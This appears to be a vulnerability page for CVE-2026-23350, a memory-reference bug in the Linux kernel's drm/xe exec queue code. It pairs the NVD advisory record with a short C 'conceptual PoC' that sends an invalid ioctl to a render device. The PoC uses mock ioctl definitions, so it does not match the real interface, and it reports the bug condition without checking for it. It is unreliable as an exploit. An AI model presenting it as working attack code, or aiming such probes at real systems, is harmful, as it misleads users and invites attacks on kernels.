CVE-2026-23350

/* * Conceptual PoC for CVE-2026-23350 * Triggering exec queue creation failure in drm/xe to induce memory reference bug. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Mock IOCTL definitions for illustration #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_IOCTL_XE_EXEC_QUEUE_CREATE (DRM_IOCTL_BASE + DRM_COMMAND_BASE + 0x1) struct drm_xe_exec_queue_create { __u32 flags; __u64 handle; }; int main() { int fd = -1; const char *device = "/dev/dri/renderD128"; struct drm_xe_exec_queue_create args; printf("[*] Opening device %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } memset(&args, 0, sizeof(args)); // Set invalid flags to trigger creation failure path args.flags = 0xFFFFFFFF; printf("[*] Triggering IOCTL with invalid parameters to cause init fail...\n"); if (ioctl(fd, DRM_IOCTL_XE_EXEC_QUEUE_CREATE, &args) != 0) { printf("[+] IOCTL failed (expected). Bug condition: queue may remain in GuC list.\n"); } if (fd >= 0) close(fd); return 0; }

{"cve": {"id": "CVE-2026-23350", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:33.320", "lastModified": "2026-04-24T18:05:34.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/queue: Call fini on exec queue creation fail\n\nEvery call to queue init should have a corresponding fini call.\nSkipping this would mean skipping removal of the queue from GuC list\n(which is part of guc_id allocation). A damaged queue stored in\nexec_queue_lookup list would lead to invalid memory reference,\nsooner or later.\n\nCall fini to free guc_id. This must be done before any internal\nLRCs are freed.\n\nSince the finalization with this extra call became very similar to\n__xe_exec_queue_fini(), reuse that. To make this reuse possible,\nalter xe_lrc_put() so it can survive NULL parameters, like other\nsimilar functions.\n\nv2: Reuse _xe_exec_queue_fini(). Make xe_lrc_put() aware of NULLs.\n\n(cherry picked from commit 393e5fea6f7d7054abc2c3d97a4cfe8306cd6079)"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ndrm/xe/queue: Llamar a fini al fallar la creación de la cola de ejecución\n\nCada llamada a init de cola debería tener una llamada a fini correspondiente. Omitir esto significaría omitir la eliminación de la cola de la lista GuC (lo cual es parte de la asignación de guc_id). Una cola dañada almacenada en la lista exec_queue_lookup conduciría a una referencia de memoria inválida, tarde o temprano.\n\nLlamar a fini para liberar guc_id. Esto debe hacerse antes de que se liberen cualesquiera LRCs internos.\n\nDado que la finalización con esta llamada extra se volvió muy similar a __xe_exec_queue_fini(), reutilizar eso. Para hacer posible esta reutilización, modificar xe_lrc_put() para que pueda sobrevivir a parámetros NULL, como otras funciones similares.\n\nv2: Reutilizar _xe_exec_queue_fini(). Hacer que xe_lrc_put() sea consciente de los NULLs.\n\n(extraído de la confirmación 393e5fea6f7d7054abc2c3d97a4cfe8306cd6079)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.7", "matchCriteriaId": "8ACF56ED-6FE0-41DE-BECE-41134CC7BD44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/99f9b5343cae80eb0dfe050baf6c86d722b3ba2e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fae65b8a4449ae556990efcde8d74bec4adc5925", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}